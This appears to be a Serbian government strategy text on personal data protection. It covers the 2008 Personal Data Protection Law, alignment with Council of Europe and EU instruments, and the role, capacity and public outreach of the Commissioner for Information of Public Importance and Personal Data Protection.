Republika Srbija je potpisala i potvrdila Konvenciju Saveta Evrope o zaštiti lica u odnosu na automatsku obradu podataka o ličnosti, u septembru 2005. godine, koja je u odnosu na Republiku Srbiju, stypila na snagu 1. januara 2006. godine.

U oktobru 2008. godine, Republika Srbija je donela Zakon o potvrđivanju Dodatnog protokola uz Konvenciju o zaštiti lica u odnosu na automatsku obradu ličnih podataka, u vezi sa nadzornim organima i prekograničnim protokom podataka.

1. Zakon o zaštiti podataka o ličnosti i podzakonski akti

Značajan korak u oblasti zaštite podataka o ličnosti načinjen je donošenjem Zakona o zaštiti podataka o ličnosti, 23. oktobra 2008. godine. Ovaj zakon predstavlja opšti zakonski okvir koji reguliše prikupljanje, obradu i prenošenje podataka o ličnosti. Tim zakonom se garantuje zaštita podataka o ličnosti svakom licu, bez obzira na državljanstvo, prebivalište, rasu, pol, jezik, veroispovest, političko i drugo uverenje, nacionalnu pripadnost, socijalno poreklo, imovinsko stanje, obrazovanje, društveni položaj ili druga lična svojstva, čime se sprovodi princip zabrane diskriminacije u ovoj oblasti.

Za sprovođenje Zakona o zaštiti podataka o ličnosti doneti su sledeći podzakonski akti:

1) Uredba o obrascu za vođenje evidencije i načinu vođenja evidencije o obradi podataka o ličnosti („Službeni glasnik RS”, broj 50/09.);

2) Pravilnik o načinu prethodne provere radnji obrade podataka o ličnosti („Službeni glasnik RS”, broj 35/09);

3) Pravilnik o obrascu legitimacije ovlašćenog lica za vršenje nadzora po Zakonu o zaštiti podataka o ličnosti („Službeni glasnik RS”, broj 35/09).

Ministarstvo pravde priprema podzakonski akt o načinu arhiviranja i merama zaštite naročito osetljivih podataka, koji treba da donese Vlada.

1. Drugi zakonski i podzakonski akti od značaja za zaštitu podataka o ličnosti

Drugi zakoni i propisi u Republici Srbiji uređuju oblast zaštite podataka o ličnosti, npr. propisi koji uređuju: bankarski sektor, sektor penzijsko-invalidskog i zdravstvenog osiguranja, zaštitu zdravlja, sektor bezbednosti, sektor telekomunikacija, sektor obrazovanja, sektor radnih odnosa, slobodan pristup informacijama od javnog značaja, oglašavanje i reklamiranje, arhivsku građu, tržište hartija od vrednosti i dr.

S obzirom da je opšti pravni okvir koji uređuje zaštitu podataka o ličnosti nastao tek krajem 2008. godine, mnogi zakoni i drugi propisi nisu usklađeni sa tim pravnim okvirom. Zbog toga je potrebno utvrditi koji zakoni i drugi propisi uređuju materiju zaštite podataka o ličnosti i izvršiti analizu njihove usklađenosti sa Zakonom o zaštiti podataka o ličnosti i podzakonskim aktima donetim na osnovu tog zakona.

Postoje, takođe, veoma važne oblasti u kojima još uvek nisu doneti odgovarajući propisi kojima se uređuje pitanje obrade podataka o ličnosti koje je veoma zastupljeno u tim oblastima, kao što su npr. marketing, video nadzor, upotreba biometrijskih podataka i dr.

1. Međunarodni dokumenti i propisi od značaja za zaštitu podataka o ličnosti

• Evropska konvencija za zaštitu ljudskih prava i osnovnih sloboda iz 1950. godine;
• Evropska konvencija o zaštiti lica u pogledu automatske obrade ličnih podataka Saveta Evrope, usvojena 28. januara 1981. godina u Strazburu i Dodatni protokol uz Konvenciju o zaštiti lica u odnosu na automatsku obradu ličnih podataka, u vezi sa nadzornim organima i prekograničnim protokom podataka, sačinjen u Strazburu 2001. godine;
• Konvencija o sprovođenju Šengenskog sporazuma od 14. juna 1985. godine između vlada Ekonomske unije Beneluksa, Savezne Republike Nemačke i Francuske Republike, o postupnom uklanjanju kontrole na zajedničkim granicama;
• Direktiva Evropskog parlamenta i Saveta, o zaštiti građana u vezi sa obradom ličnih podataka i slobodnom kretanju tih podataka (95/46/EZ od 24. oktobra 1995. godine);
• Direktiva Evropskog parlamenta i Saveta, u vezi obrade ličnih podataka i zaštite privatnosti u elektronskom komunikacionom sektoru (2002/58/EZ od 12. jula 2002. godine);
• Direktiva Evropskog parlamenta i Saveta o zadržavanju generisanih ili obrađenih podataka u vezi sa obradom u javnosti raspoloživih elektronskih komunikacionih servisa ili javne komunikacione mreže i dopune (2002/58/EZ i 2006/24/EZ od 15. marta 2006. godine);
• Direktiva Evropskog parlamenta i Saveta u vezi sa obradom ličnih podataka i zaštitom privatnosti u telekomunikacionom sektoru (97/66/EZ od 15. decembra 1997. godine);
• Okvirna odluka o zaštiti ličnih podataka koji se obrađuju u okviru policijske i pravne saradnje u krivičnim stvarima (2008/977/JHA).

1. Neophodnost usklađivanja domaćih propisa sa propisima EU

Republici Srbiji predstoji značajan zadatak da sa obezbeđivanjem ostvarivanja efikasne zaštite podataka o ličnosti na osnovu postojećeg ustavnog i zakonskog okvira, istovremeno taj okvir i dalje razvija i usaglašava sa napred navedenim međunarodnim dokumentima. To podrazumeva dalje usklađivanje domaćeg pravnog sistema zaštite podataka o ličnosti, kao i donošenje novih propisa u ovoj oblasti, da bi se:

• obezbedilo ostvarivanje zagarantovanog prava i slobode na zaštitu podataka o ličnosti u skladu sa članom 42. Ustava Republike Srbije;
• unapredio pravni sistem Republike Srbije, posebno novi pravni okvir zaštite podataka o ličnosti;
• izvršile obaveze koje proizilaze iz potpisanog Sporazuma o stabilizaciji i pridruživanju;
• uskladilo domaće zakonodavstvo sa propisima EU i obezbedili uslovi za ostvarivanje obaveza koje proizilaze iz članstva Republike Srbije u Savetu Evrope.

6.1. Usklađivanje Zakona o zaštiti podataka o ličnosti sa propisima EU

Neophodne su izmene i dopune Zakona o zaštiti podataka o ličnosti, kako bi se uskladio sa propisima EU i obezbedilo:

• usklađivanje zaštite podataka o ličnosti sa odredbama Direktive 95/46/EZ, koje je uslovljeno razvojem novije sudske prakse Suda evropskih zajednica u Luksemburgu i prava zaštite podataka o ličnosti u državama članicama EU, kao i praksom Evropskog suda za zaštitu ljudskih prava u Strazburu;
• nesmetano funkcionisanje i obezbeđivanje nezavisnosti nadzornog organa u skladu sa evropskim standardima;
• veće ostvarivanje prava građana Republike Srbije na zaštitu podataka o ličnosti, kao i veću odgovornost lica koja vode zbirke podataka o ličnosti u javnom i privatnom sektoru, radi zakonite obrade podataka o ličnosti;
• dosledna primena načela zakonitosti i srazmernosti u obradi i zaštiti ličnih podataka.

6.2. Usklađivanje zakonskih i podzakonskih propisa iz drugih oblasti sa Zakonom o zaštiti podataka o ličnosti

U cilju efikasnije i kvalitetnije zaštite podataka o ličnosti, neophodno je utvrditi mere kojima se sprečava javno objavljivanje podataka iz privatnog života lica i prosleđivanje tih podataka drugim subjektima izvan svrhe utvrđene zakonom. U skladu sa tim, izuzetno je značajno utvrditi kriterijume bezbednosti podataka da bi oni odgovarali stvarnom stanju.

Neophodno je, utvrditi koji se zakoni i podzakonski propisi u pravnom sistemu Republike Srbije odnose na obradu podataka o ličnosti, da bi se oni uskladili sa sistemskim rešenjima. Ovi propisi moraju biti potrebni i biti primenjivi od onih subjekata čiji se poslovi ovim propisima uređuju.
Mere:

• utvrditi koji zakoni uređuju pojedina pitanja koja se odnose na zaštitu podataka o ličnosti i izvršiti analizu njihove usklađenosti sa Zakonom o zaštiti podataka o ličnosti;
• pripremiti predloge izmena i dopuna ovih zakona i obezbediti njihovo usvajanje;
• analizirati izmene i dopune podzakonskih propisa koji se odnose na obradu podataka o ličnosti, kako bi se usaglasili sa opštim propisima koji uređuju zaštitu podataka o ličnosti;
• u pripremi i donošenju novih zakona i drugih propisa koji uređuju pojedine oblasti, a kojima se uspostavljaju nove zbirke podataka o ličnosti ili na drugi način uređuje obrada podataka o ličnosti, obezbediti doslednu primenu opštih principa utvrđenih Zakonom o zaštiti podataka o ličnosti, međunarodnim dokumentima i standardima država članica EU, a u saradnji sa Poverenikom.

IV. JAVNOST RADA, JAČANjE POVERENjA GRAĐANA U INSTITUCIJE KOJE SE BAVE OBRADOM PODATAKA O LIČNOSTI I RAZVOJ INFORMACIONIH TEHNOLOGIJA

1. Obezbeđenje javnosti rada javnog i privatnog sektora

Zakon o zaštiti podataka o ličnosti utvrđuje značenje osnovnih pojmova koji se u njemu koriste, kao što su: podatak o ličnosti, fizičko lice, obrada podataka, organ vlasti, rukovalac podataka, zbirka podataka, korisnik podataka, obrađivač podataka, pismeni oblik i centralni registar zbirke podataka. Rukovalac podataka je svako fizičko ili pravno lice, odnosno organ vlasti koji obrađuje podatke.

Zaštita podataka o ličnosti se odnosi na sva fizička i pravna lica, uključujući i organe vlasti, a koja su ustanovljena, registrovana ili imaju sedište u Republici Srbiji, kao i na sva lica koja nisu registrovana u Republici Srbiji, ali koja za obavljanje svojih poslova prikupljaju podatke o ličnosti (fotokopijom identifikacionih i drugih dokumenata, uzimanjem biometrijskih podataka, arhiviranjem video-snimaka prostorija pod video nadzorom itd.) i upotrebljavaju automatsku ili drugu opremu za obradu podataka o ličnosti, osim ako se ta oprema isključivo koristi samo za prenos podataka.

Mere:

• obezbediti da zaštita podataka o ličnosti obuhvati sve subjekte koji se bave prikupljanjem, korišćenjem, čuvanjem i drugim radnjama obrade podataka o ličnosti;
• obezbediti da sva pravna i fizička lica budu upoznata sa svojim pravima i obavezama u vezi sa zaštitom podataka o ličnosti;
• obezbediti da svako lice čiji podaci se prikupljaju bude obavešteno na koji način i u koje svrhe se raspolaže njegovim podacima koji su prikupljeni ili ustupljeni drugim subjektima.

1. Jačanje poverenja građana u institucije javnog i privatnog sektora koje raspolažu podacima o ličnosti

Poverenje građana u institucije javnog i privatnog sektora jedan je od osnova efikasnog funkcionisanja državne vlasti, kao i kreiranja i usmeravanja državne politike. Obezbeđujući sigurnost građana uspostavljanjem odgovarajućih mehanizama zaštite podataka o ličnosti i stalnim pružanjem informacija građanima o njihovim pravima i obavezama u vezi sa zaštitom podataka o ličnosti, nosioci vlasti, a posebno izvršna vlast, jačaće poverenje građana u institucije javnog i privatnog sektora.

Zakon o zaštiti podataka o ličnosti utvrđuje uslove za obradu podataka o ličnosti. Obrada nije dozvoljena bez pristanka ovlašćenog lica ili bez zakonskog ovlašćenja ako se vrši u svrhu koja je drugačija od one za koju je određena, ako svrha obrade nije jasno određena ili je izmenjena i ako je način obrade nedozvoljen, kao i iz drugih razloga propisanih zakonom. Zakon uređuje i obradu ličnih podataka sa pristankom ili bez pristanka lica na koje se podaci odnose. Obrada bez pristanka dozvoljena je samo u cilju ostvarivanja ili zaštite životno važnog interesa lica, u svrhu izvršenja obaveza određenih zakonom i u drugim slučajevima koji su isključivo propisani zakonom. Državni organ može da obrađuje podatke bez pristanka ako je to potrebno radi ostvarivanja interesa bezbednosti, vođenja krivičnog postupka, zaštite ekonomskih interesa države, prava i sloboda i drugog javnog interesa.

Prema tome, obrada podataka o ličnosti na određenoj teritoriji moguća je samo ukoliko je to utvrđeno u važećim zakonima ili uz pismenu saglasnost lica na koje se podaci odnose, npr. ugovorom ili posebno slobodno izraženom voljom. Obrada podataka o ličnosti nije moguća ukoliko za to ne postoji osnov u propisima, odnosno ne postoji saglasnost lica na koga se podaci o ličnosti odnose.

Rukovalac podataka dužan je da pre prikupljanja i obrade podataka o ličnosti o tome upozna lice na koje se ti podaci odnose i da ga obavesti o svom identitetu, svrsi prikupljanja i obrade podataka, načinu korišćenja, licima koja koriste podatke, pravnom osnovu prikupljanja, pravima koja pripadaju licu u slučaju nedozvoljene obrade i dr. Upoznavanje lica sa takvom obradom podataka vrši se u pismenom obliku. Takođe, rukovalac je dužan da obavesti lice na koje se podaci odnose i korisnika ovih podataka, o izmeni, dopuni ili brisanju podataka i to bez odlaganja, a najkasnije u roku od 15 dana od dana izmene, dopune ili brisanja podataka.

Zakon o zaštiti podataka o ličnosti uređuje i prava i zaštitu prava lica čiji se podaci obrađuju. U vezi sa zaštitom podataka o ličnosti, lice čiji se podaci obrađuju, ima sledeća prava: pravo na obaveštenje o obradi, pravo na uvid, pravo na kopiju i prava povodom izvršenog uvida (pod kojim se podrazumeva da lice ima pravo da od rukovaoca zahteva ispravku, dopunu, ažuriranje, brisanje podataka kao i prekid i privremenu obustavu obrade. Postupak ostvarivanja ovih prava detaljno je uređen Zakonom.

Nadležnost Poverenika za informacije od javnog značaja ustanovljenog Zakonom o slobodnom pristupu informacijama od javnog značaja iz 2004. godine proširena je Zakonom o zaštiti podataka o ličnosti i na oblast zaštite podataka o ličnosti, što je i jedan od savremenih trendova u uporednom pravu. Shodno novim nadležnostima, naziv dosadašnje institucije je promenjen u Poverenik za informacije od javnog značaja i zaštitu podataka o ličnosti.

Zakon o zaštiti podataka o ličnosti, na taj način, ustanovljava i institucionalni okvir za unapređenje i zaštitu podataka o ličnosti. Proširenjem nadležnosti Poverenika za informacije od javnog značaja i na poslove zaštite podataka o ličnosti izbegnut je dug period konstituisanja same institucije i njene stručne službe, što će svakako ubrzati uspešnu kontrolu u oblasti zaštite podataka o ličnosti u kojoj Republika Srbija znatno zaostaje. Poverenik, prema Zakonu, vodi i Centralni registar čija je osnovna svrha da građanima pruži informacije o tome koji organi, pravna i fizička lica, odnosno rukovaoci podataka raspolažu podacima o ličnosti i koje zbirke podataka o ličnosti vode ta tela, i u vezi sa tim Centralni registar ima za svrhu lakše ostvarivanja prava propisanih Zakonom.

Mere:

• obezbediti da za svaku obradu podataka o ličnosti postoji pravni osnov za obradu, bez koga rukovalac podataka ne sme obrađivati podatke;
• obezbediti da javnost zna kada i u kojim slučajevima se mogu tražiti podaci o ličnosti;
• obezbediti da svaki rukovalac zbirkom podataka jasno utvrdi način čuvanja podataka i ko može imati pristup podacima;
• unaprediti svest rukovalaca zbirki podataka o tome da adekvatno čuvanje zbirki podataka smanjuje mogućnost zloupotreba i nezakonitog davanja ili korišćenja podataka;
• obezbediti uslove za efikasnu kontrolu, pre svega obezbediti uslove Povereniku za nesmetano vršenje nadzora.

1. Razvoj i prilagođavanje informacionih tehnologija

Razvijanje i prilagođavanje informacionih tehnologija veoma je bitno za zaštitu podataka o ličnosti. Zakon o zaštiti podataka o ličnosti uređuje pitanje obezbeđenja podataka i evidencija. Zakonom su propisane organizacione i tehničke mere za zaštitu podataka o ličnosti od zloupotrebe, uništenja, gubitka, neovlašćene promene ili pristupa. Rukovalac podataka je dužan da obrazuje i vodi evidenciju o podacima o ličnosti i zbirkama podataka koje vodi, kao i sadržinu ove evidencije. Rukovalac ima obavezu da pre započinjanja obrade, odnosno uspostavljanja zbirke podataka o ličnosti, dostavi o tome obaveštenje Povereniku.

Zaštita podataka o ličnosti zahteva prilagođavanje informacionih tehnologija da bi se podaci o ličnosti obrađivali na zakonit način. Pretpostavka ostvarivanja prava na zaštitu podataka o ličnosti jeste postojanje takvih tehnologija i mera obezbeđenja podataka koje rukovaocu podataka omogućuju da u svakom trenutku može utvrditi kada su podaci u zbirci podataka obrađivani, korišćeni ili menjani, ko je to uradio, zbog čega i po kom osnovu. Takvo praćenje korišćenja podataka izuzetno je značajno za sprečavanje zloupotrebe u rukovođenju zbirkom podataka o ličnosti. Time se obezbeđuje nadzor nad pristupom zbirci podataka za sve koji mogu da joj pristupe.

Takođe, treba izgraditi svest svakog lica da nema neograničenog pristupa podacima, da je pristup dozvoljen samo na osnovu izričitih ovlašćenja za vođenje određenih upravnih, sudskih ili drugih postupaka.

Spoljno praćenje obrade podataka predstavlja nadzor nad davanjem podataka o ličnosti drugim korisnicima. Posebno je važno, da svaki korisnik podataka mora dostaviti rukovaocu pravni osnov za pristup podacima o ličnosti, a da rukovalac zbirkom sve te osnove zabeleži za potrebe nadzora.

Mere:

• obezbediti da se obaveza nedržavnih subjekata u pogledu obaveze davanja informacija državnim organima i organizacijama o fizičkom licu čijim podacima raspolaže u svojoj zbirci, ostvaruje u skladu sa zakonom;
• obezbediti dosledno poštovanje zakonske obaveze u pogledu obaveštavanja građana o podacima koji se o njima prikupljaju i u koju svrhu;
• obezbediti da ovlašćenja organa, odnosno lica kojima je povereno sprovođenje zaštite podataka o ličnosti, odnosno zakona budu jasno utvrđena;
• obezbediti primenu propisanih tehničkih standarda u vođenju elektronskih baza podataka;
• obezbediti licima koja obrađuju podatke obuku o znanjima i veštinama obrade i zaštite podataka o ličnosti;
• obezbediti primenu mera zaštite podataka i integriteta kompjuterskih sistema u fizičkom i bezbednosnom smislu:
  a) utvrditi obavezne standarde i normative koje treba da primenjuju tehnički izvršioci, odnosno informatičari;
  b) standardizovati elektronski uvid u zbirku podataka, primenom načela praćenja korišćenja podataka pomoću informacionih tehnologija (IT);
  v) urediti povezivanje zbirki podataka o ličnosti unutar javnog sektora, za koje je potrebno obezbediti visoke IT standarde i utvrditi kada se takvo povezivanje uopšte može sprovesti;
• radi obezbeđivanja prava lica na pristup podacima o ličnosti, obezbediti informatizaciju zbirki podataka i kreirati logbuk („logbook”) – dnevnik uvida.
  V. INSTITUCIONALNI OKVIR ZA SPROVOĐENjE
  ZAŠTITE PODATAKA O LIČNOSTI

1. Izgradnja institucije nezavisnog organa – Poverenika za informacije od javnog značaja i zaštitu podataka o ličnosti

Jedan od osnovnih preduslova za zaštitu podataka o ličnosti je uspostavljanje nezavisnog državnog nadzornog organa za zaštitu podataka o ličnosti. Članom 81. Sporazuma o stabilizaciji i pridruživanju između Evropskih zajednica i njihovih država članica i Republike Srbije, predviđeno je da će stupanjem na snagu tog sporazuma, Republika Srbija uskladiti svoje zakonodavstvo u oblasti zaštite podataka o ličnosti sa pravom Zajednice i sa drugim međunarodnim dokumentima koji uređuju pravo na privatnost, kao i da će Republika Srbija obrazovati nezavisni nadzorni organ sa finansijskim i ljudskim resursima dovoljnim da bi se sprovodila efikasna kontrola i garantovalo sprovođenje zakona u oblasti zaštite podataka o ličnosti.
Direktiva 95/46/EZ, u članu 28, takođe, određuje da svaka država članica mora obezbediti da jedan ili više organa na njenoj teritoriji bude odgovoran za nadzor nad sprovođenjem odredaba koje su države članice usvojile u skladu sa tom direktivom. Ti organi moraju biti potpuno nezavisni u obavljanju funkcija koje su im ustanovljene. Svaka država članica mora da obezbedi da se u pripremi mera i izradi propisa koji su u vezi sa zaštitom prava i sloboda po pitanju obrade podataka o ličnosti, nadležni organi konsultuju sa nadzornim organima.

Dodatni protokol uz Konvenciju o zaštiti lica u odnosu na automatsku obradu ličnih podataka, u vezi sa nadzornim organima i prekograničnim protokom podataka, u članu 1, takođe, predviđa da nadzorni organi vrše svoje funkcije potpuno nezavisno i da imaju posebno ovlašćenje da istražuju i da se umešaju, kao i ovlašćenje da se uključe u pravne postupke ili da ukažu nadležnim pravosudnim organima na kršenje odredaba domaćeg prava kojima se štite načela utvrđena Protokolom.

Šengenska konvencija, u članu 114, takođe, zahteva nezavisan nadzor, tako što propisuje da svaka strana ugovornica imenuje nadzorni organ, koji je po nacionalnom zakonodavstvu nadležan za sprovođenje nezavisnog nadzora zbirke podataka nacionalnog dela šengenskog informacionog sistema i za proveravanje da obrada i korišćenje podataka koji su uneti u šengenski informacioni sistem ne predstavlja kršenje prava lica na koja se podaci odnose. U tom cilju, nadzorni organ ima pristup zbirci podataka nacionalnog dela šengenskog informacionog sistema.

U skladu sa navedenim dokumentima i Zakonom o zaštiti podataka o ličnosti ustanovljene su nadležnosti Poverenika za informacije od javnog značaja i u oblasti zaštite podataka o ličnosti. Poverenik je Zakonom preimenovan u Poverenika za informacije od javnog značaja i zaštitu podataka o ličnosti, sa statusom samostalnog državnog organa koji je nezavisan u vršenju svojih nadležnosti, a kome je Zakon počev od njegove primene, od 1. januara 2009. godine, odredio centralnu ulogu u zaštiti, promociji i unapređenju zaštite podataka o ličnosti, uključujući i nadzor nad sprovođenjem zakona. Ovakvo zakonsko rešenje preuzeto iz iskustava drugih zemalja, prema kome funkcije nadzornog organa i zaštitu prava u vezi sa obradom ličnih podataka vrši organ koji štiti pravo na slobodan pristup informacijama od javnog značaja, pokazalo se kao efikasno i celishodno, budući da isti organ ceni pretežnost interesa, između prava javnosti na slobodan pristup informacijama od javnog značaja i prava na privatnost.

Poverenik, kao nezavisan organ, postupa po žalbi podnosioca zahteva za pristup podacima o ličnosti. Podnosilac zahteva može izjaviti žalbu Povereniku: protiv odluke rukovaoca podataka kojom je odbijen ili odbačen zahtev, kada rukovalac podataka ne odluči po zahtevu u propisanom roku, ako rukovalac podataka ne stavi na uvid podatak, ako ne izda kopiju podataka ili to ne učini u roku i na način propisan zakonom, ako rukovalac podataka uslovi izdavanje kopije podataka uplatom naknade koja prevazilazi iznos nužnih troškova izrade kopije ili ako rukovalac podataka, suprotno zakonu, otežava ili onemogućava ostvarivanje prava. Poverenik donosi odluku po žalbi najkasnije u roku od 30 dana od dana podnošenja žalbe, s tim što žalbu prethodno dostavlja rukovaocu podataka na izjašnjenje, a o navodima iz odgovora na žalbu se može izjasniti i podnosilac žalbe. Poverenik, odnosno lice koga on ovlasti ima i pravo da, radi utvrđivanja činjeničnog stanja, omogući uvid u podatak, odnosno zbirku podataka.
Prema Zakonu o zaštiti podataka o ličnosti, rešenje Poverenika po žalbi je obavezujuće, konačno i izvršno, s tim da Vlada, u slučaju potrebe, obezbeđuje izvršenje rešenja Poverenika. Ovakva odredba kakvu sadrži i Zakon o slobodnom pristupu informacijama od javnog značaja, zahteva da Vlada utvrdi mehanizme za njeno sprovođenje.

Protiv odluke Poverenika, stranka koja smatra da joj je povređeno pravo ili interes, može pokrenuti upravni spor.

Ograničenja prava nadzornog organa u oblasti zaštite podataka o ličnosti iz člana 45. Zakona o zaštiti podataka o ličnosti, stavljena su van snage donošenjem Zakona o tajnosti podataka decembra 2009. godine što je važno sa aspekta obezbeđenja nesmetanog nadzora propisanih Dodatnim protokolom uz Konvenciju o zaštiti lica u odnosu na automatsku obradu ličnih podataka Saveta Evrope, Direktivom 95/46/EZ i Šengenskom konvencijom.

Pored nadležnosti koje se odnose na postupanje po žalbi, Povereniku su ustanovljene i druge veoma obimne nadležnosti u vezi sa zaštitom podataka: da nadzire sprovođenje zaštite podataka, da vodi Centralni registar, da nadzire i dozvoljava iznošenje podataka iz Republike Srbije i sastavlja listu država i međunarodnih organizacija koje imaju odgovarajuću uređenu zaštitu podataka. Poverenik, takođe, ukazuje i na uočene zloupotrebe prilikom prikupljanja podataka, daje mišljenje o tome da li neki skup podataka predstavlja zbirku podataka, kao i mišljenje u vezi sa uspostavljanjem novih zbirki podataka. Poverenik prati primenu mera za zaštitu podataka i predlaže poboljšanje tih mera, daje predloge i mere za unapređenje zaštite podataka i dr.

Imajući u vidu napred izneto, u narednom periodu mora se posvetiti posebna pažnja, da se, u skladu sa zahtevima iz navedenih međunarodnih dokumenata, obezbede nužne pretpostavke za punu zaštitu prava građana u vezi sa obradom njihovih podataka.

Mere:

• Da Vlada, u što kraćem roku, donese podzakonski akt o načinu arhiviranja i merama zaštite naročito osetljivih podataka, u skladu sa članom 16. stav 5. Zakona o zaštiti podataka o ličnosti, kao preduslov za usklađivanje postojećih zbirki podataka sa Zakonom;
• obezbediti neophodne normativne pretpostavke za ostvarivanje funkcije Vlade na obezbeđenju izvršenja rešenja Poverenika, donetih u postupku po žalbi za zaštitu prava, u slučaju kada je to neophodno;
• da Poverenik obezbedi funkcionisanje Centralnog registara za vođenje evidencija zbirki podataka, u skladu sa Zakonom;
• otkloniti normativne nedostatke Zakona o zaštiti podataka o ličnosti na osnovu iskustva Poverenika u primeni tog zakona i međunarodnih standarda;
• da Poverenik, prateći postupanje svih subjekata u vezi sa zaštitom podataka o ličnosti, naročito organa javne vlasti, inicira potrebne izmene propisa u cilju poboljšanja normativnog okvira za zaštitu podataka sa stanovišta Zakona o zaštiti podataka o ličnosti.
  Kao drugostepeni organ i nadzorni organ u oblasti zaštite podataka o ličnosti, u skladu sa Zakonom o zaštiti podataka o ličnosti i preovlađujućom praksom u državama Evropske unije, Poverenik će obezbeđivati:
• uputstva rukovaocima zbirki podataka u vezi sa obradom i zaštitom podataka;
• pregled i nadzor nad zbirkama podataka o ličnosti rukovaoca;
• nadzor nad prikupljanjem, pohranjivanjem, obradom i objavljivanjem podataka o ličnosti;
• zaštitu prava lica u vezi sa obradom njegovih podataka u postupku po žalbi;
• transparentnost evidencija zbirki podataka, obezbeđenjem uvida u Centralni registar zbirki podataka.

1. Kapaciteti Poverenika

Akt o unutrašnjoj organizaciji i sistematizaciji radnih mesta, Poverenik je doneo u novembru 2008. godine i Narodna skupština je na taj akt dala saglasnost u januaru 2009. godine. Aktom je predviđeno da služba Poverenika ima ukupno 69 zaposlenih za ostvarivanje postojećih i novih nadležnosti, pri čemu se rukovodilo iskustvima iz zemalja u okruženju. Budući da budžetom Republike Srbije za 2009. godinu nije bilo opredeljeno dovoljno sredstava za rad Poverenika, u toj godini nije bilo moguće zapošljavanje izvršilaca za obavljanje poslova na zaštiti podataka o ličnosti. Pored toga, nije obezbeđen i odgovarajući prostor za rad stručne službe Poverenika u vezi sa vršenjem novih nadležnosti.

Početkom 2010. godine otklonjene su prepreke u pogledu budžeta Poverenika i data je saglasnost na Kadrovski plan za 2010. godine, a izvesno je i obezbeđenje dodatnog prostora za rad.

U vezi sa kapacitetima, treba konstatovati da u Republici Srbiji, specijalizovanih kadrova za zaštitu podataka o ličnosti gotovo da nema ili ih ima jako malo, zbog čega se specijalizaciji kadrova mora posvetiti najveća pažnja. Takođe, tehnička modernizacija rada službe Poverenika je neophodna. Ulaganje u opremu je nužno, naročito u pogledu standardizovanosti i modernizacije, imajući u vidu sisteme i opremu preko kojih se danas prikupljaju, obrađuju, koriste i čuvaju podaci o ličnosti. To je osnovni preduslov za brzu reakciju i efikasan nadzor Poverenika u slučaju da državni organi ili privatna lica nezakonito i protivpravno prikupljaju podatke o ličnosti i za uspešnu borbu za sprovođenje zaštite podataka o ličnosti.

U 2009. godini, u odsustvu odgovarajućih kapaciteta, Poverenik je, osim donošenja akata iz njegove nadležnosti za sprovođenje Zakona, uspeo da, uz podršku međunarodnih subjekata, pripremi Vodič kroz Zakon o zaštiti podataka o ličnosti, nacrt Strategije, kao i da uspostavi Centralni registar zbirki podataka, započne edukaciju za primenu Zakona i da izradi novi potpuniji sajt Poverenika, a sve u cilju promovisanja prava na zaštitu podataka o ličnosti i dr.

Mere:

• Vlada će obezbediti prostor za rad službe Poverenika;
• Poverenik nastavlja sa prijemom zaposlenih, koristeći i mogućnosti javno-privatnog partnerstva u cilju zapošljavanja najboljih kadrova;
• Poverenik, u skladu sa obezbeđenim materijalnim uslovima, nastavlja sa opremanjem službe na način koji u pogledu savremenih tehničkih rešenja može da odgovori zahtevima punog nadzora nad obradom podataka;
• Poverenik će sačiniti program stručnog osposobljavanja i specijalizacije zaposlenih na poslovima zaštite podataka i preduzimati mere radi njegovog sprovođenja, putem seminara i drugih vidova obrazovanja, kroz praktičnu obuku, studijske posete sličnim institucijama u drugim zemljama, programe koje finansiraju ili organizuju međunarodne organizacije, stažiranje u sličnim institucijama zemalja članica EU, praćenje međunarodnih usvojenih standarda i dr.;
• nadležne službe Vlade će materiju zaštite podataka o ličnosti uključiti u redovne godišnje programe obuke državnih službenika i program polaganja državnog stručnog ispita;
• Poverenik će podsticati nadležne asocijacije, privredne i druge komore da organizuju stručne skupove i druge oblike obrazovanja za predstavnike svojih članova o zaštiti podataka o ličnosti.

1. Poverenik i javnost

U sprovođenju sistema zaštite podataka o ličnosti, odnos Poverenika i „javnosti” od ključnog je značaja. Ovo se pokazalo tačnim i u drugim državama, a u Republici Srbiji i u nekim drugim oblastima.

3.1. Upoznavanje javnosti sa sistemom zaštite podataka o ličnosti
Zaštita podataka o ličnosti je deo osnovnog ljudskog prava na privatnost. Evropska konvencija za zaštitu ljudskih prava i osnovnih sloboda u članu 8. utvrđuje da svako ima pravo na to da se poštuje njegov privatni i porodični život, stan i prepiska i da se javne vlasti neće mešati u vršenje ovog prava, osim ako to nije u skladu sa zakonom i neophodno u demokratskom društvu u interesu nacionalne bezbednosti, javne bezbednosti ili ekonomske dobrobiti zemlje, radi sprečavanja nereda ili kriminala, zaštite zdravlja ili morala ili radi zaštite prava i sloboda drugih. Propisi Evropske unije ukazuju na obavezu da se pojedinci o kojima se sakupljaju podaci obaveste o obradi njihovih ličnih podataka i da im mora biti obezbeđena mogućnost da sami odlučuju na koji način će se tako sakupljeni podaci koristiti. Takođe, navedenim propisima uređuje se i pravo pristupa podacima o ličnosti i obezbeđuje sudska zaštita i naknada zbog kršenja tih prava.

S obzirom na složenost zaštite podataka o ličnosti, kao ljudskog prava i prava koja iz njega za građane proističu, ustanovljeni sistem zaštite podataka o ličnosti može se delotvorno sprovesti samo uz aktivno učešće građana.

Građanin, kao aktivni učesnik društvenih procesa, ali i subjekat prava na zaštitu podataka o ličnosti, mora biti adekvatno obavešten o svom pravu, načinu njegovog ostvarivanja, mogućim načinima zakonske zaštite, radu Poverenika, ali i o mehanizmima zaštite izvan države, pre svega pred Evropskim sudom za zaštitu ljudskih prava. Prema tome, stalno obrazovanje građana je jedan od ključnih faktora uspešnog sprovođenja zaštite podataka o ličnosti.

Medijskim kampanjama, redovnim obaveštavanjem javnosti, stalnim usavršavanjem i obrazovanjem rukovalaca podataka, ali i građana u vezi sa sistemom zaštite podataka o ličnosti, kao i preko internet stranica Poverenika, Vlade i drugih državnih organa, javnost treba da bude detaljnije upoznata o pravima i obavezama koje proizilaze iz sistema zaštite podataka o ličnosti.

Mere:

• objaviti, promovisati i distribuirati Vodič kroz Zakon o zaštiti podataka o ličnosti što širem krugu građana, uključujući i rukovaoce podataka;
• obezbediti ostvarivanje prava uvida u katalog zbirki podataka o ličnosti zainteresovanim subjektima, u skladu sa Zakonom;
• obezbediti dobijanje informacije o obradi podataka, o postojanju konkretnih podataka o ličnosti u određenoj zbirci, o načinu njihove obrade, svrsi korišćenja i o tome da li se podaci objavljuju;
• obezbediti ostvarivanje prava zainteresovanog lica na dobijanje kopije sopstvenih podataka iz uspostavljene zbirke podataka, u skladu sa Zakonom;
